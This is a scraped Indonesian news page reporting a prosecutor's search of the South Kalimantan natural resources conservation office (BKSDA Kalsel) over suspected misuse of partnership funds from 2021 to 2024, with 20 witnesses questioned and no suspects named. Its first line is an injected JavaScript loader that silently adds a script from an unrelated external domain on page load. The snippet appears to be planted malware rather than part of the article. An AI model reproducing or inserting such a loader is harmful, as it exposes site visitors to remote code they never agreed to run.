(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

20 Orang Diperiksa dari Korupsi di BKSDA Kalsel, Belum Ada Tersangka


KANALKALIMANTAN.COM, BANJARBARU – Penyidikan dugaan penyalahgunaan wewenang dan penyelewengan dana kegiatan milik Balai Konservasi Sumber Daya Alam (BKSDA) Kalimantan Selatan (Kalsel) bergulir di Kejaksaan Tinggi (Kejati) Kalsel.

Hasil penggeledahan kantor yang berlokasi di Jalan Bhayangkara, Kelurahan Sungai Besar, Kota Banjarbaru, Rabu (17/12/2025) siang, hanya didapati ada dugaan korupsi dalam rentang tahun 2021 sampai dengan tahun anggaran 2024.

“Bahkan dimungkinkan akan dilakukan pendalaman pada tahun-tahun sebelumnya juga. Jadi ini penyelidikan yang kita lakukan tentunya berdasarkan surat perintah penyidikan nomor 1072/0.3/FD.2/10/2025 tanggal 17 Oktober 2025,” ujar Asisten Intelijen Kejati Kalsel, Nana Riana, saat diwawancarai, Rabu (17/12/2025) siang.

Baca juga: 14 Perusahaan Diduga Terlibat Kasus Korupsi di BKSDA Kalsel

Adapun dana yang menjadi objek penyelidikan, katanya adalah bersumber dari pengelolaan dana Perjanjian Kerja Sama (PKS) sejumlah perusahaan yang merupakan mitra kerja sama BKSDA Provinsi Kalsel.

Disebutkan ada 14 perusahaan bahkan bisa lebih dari itu. Dimana dijelaskan dana tersebut diperuntukan bagi pelaksanaan kegiatan tertentu sesuai perjanjian dan ketentuan peraturan perundang-undangan.

“Jadi BKSDA ini membuat perjanjian kerja sama dengan perusahaan-perusahaan BUMN, BUMD, perusahaan swasta yang memanfaatkan area-area hutan yang pengelolaan di bawah BKSDA,” jelasnya.

Baca juga: Penyidik Kejati Angkut 3 Box dari Kantor BKSDA Kalsel

Sementara itu penggeledahan hari ini ini dilakukan berdasarkan surat perintah nomor 1447/0.3/5/F.2/12/2025.

Dari hasil penggeledahan selama tiga jam, tim mengamankan beberapa dokumen, baik dalam bentuk fisik maupun barang-barang elektronik yang diduga berkaitan dengan pengelolaan dana oleh BKSDA.

“Barang-barang tersebut selanjutnya akan dilakukan pendalaman lebih lanjut untuk membuat terang kasus ini termasuk untuk mengetahui potensi kerugian negara yang didapati,” ungkapnya.

Baca juga: Penyidik Kejati Geledah Kantor BKSDA Kalsel  

Hingga saat ini juga kata Asisten Intelijen Kejati Kalsel, sudah ada 20 orang yang dilakukan pemeriksaan, seperti pihak ketiga dari swasta hingga BUMN, maupun dari pihak BKSDM sendiri. Termasuk katanya Kepala BKSDM dan pimpinan-pimpinan perusahaan.

Meski sudah ada 20 orang saksi yang diperiksa, tapi belum ada yang ditetapkan menjadi tersangka oleh Kejati Kalsel.

“Selanjutnya kita akan mendalami lebih lanjut dokumen-dokumen yang ada dan kita akan terus masih melakukan pemeriksaan-pemeriksaan lainnya,” tutupnya. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Mahasiswa Profesi Ners ULM Penyuluhan KB di Desa Sungai Asam

KANALKALIMANTAN.COM, MARTAPURA - Mahasiswa profesi ners Universitas Lambung Mangkurat (ULM) menggelar penyuluhan Keluarga Berencana (KB)… Read More

19 menit ago

Wabup Dodo Cek Harga Bahan Pokok di Pasar Besar Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More

12 jam ago

Enam Pj Kades di Kecamatan Mantangai Dilantik

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More

12 jam ago

Matangkan Layanan MPP, Pemkab Kapuas Gelar Forum Konsultasi Publik

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More

13 jam ago

Bupati Kapuas Melantik 33 Pj Kades dan Enam Anggota BPD

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More

14 jam ago

Rencana Aksi Bersama Pengendalian Banjir Kawasan Banua Enam

Gubernur Kalsel: Percuma Rencana Kalau Tidak Dilakukan Read More

14 jam ago

This website uses cookies.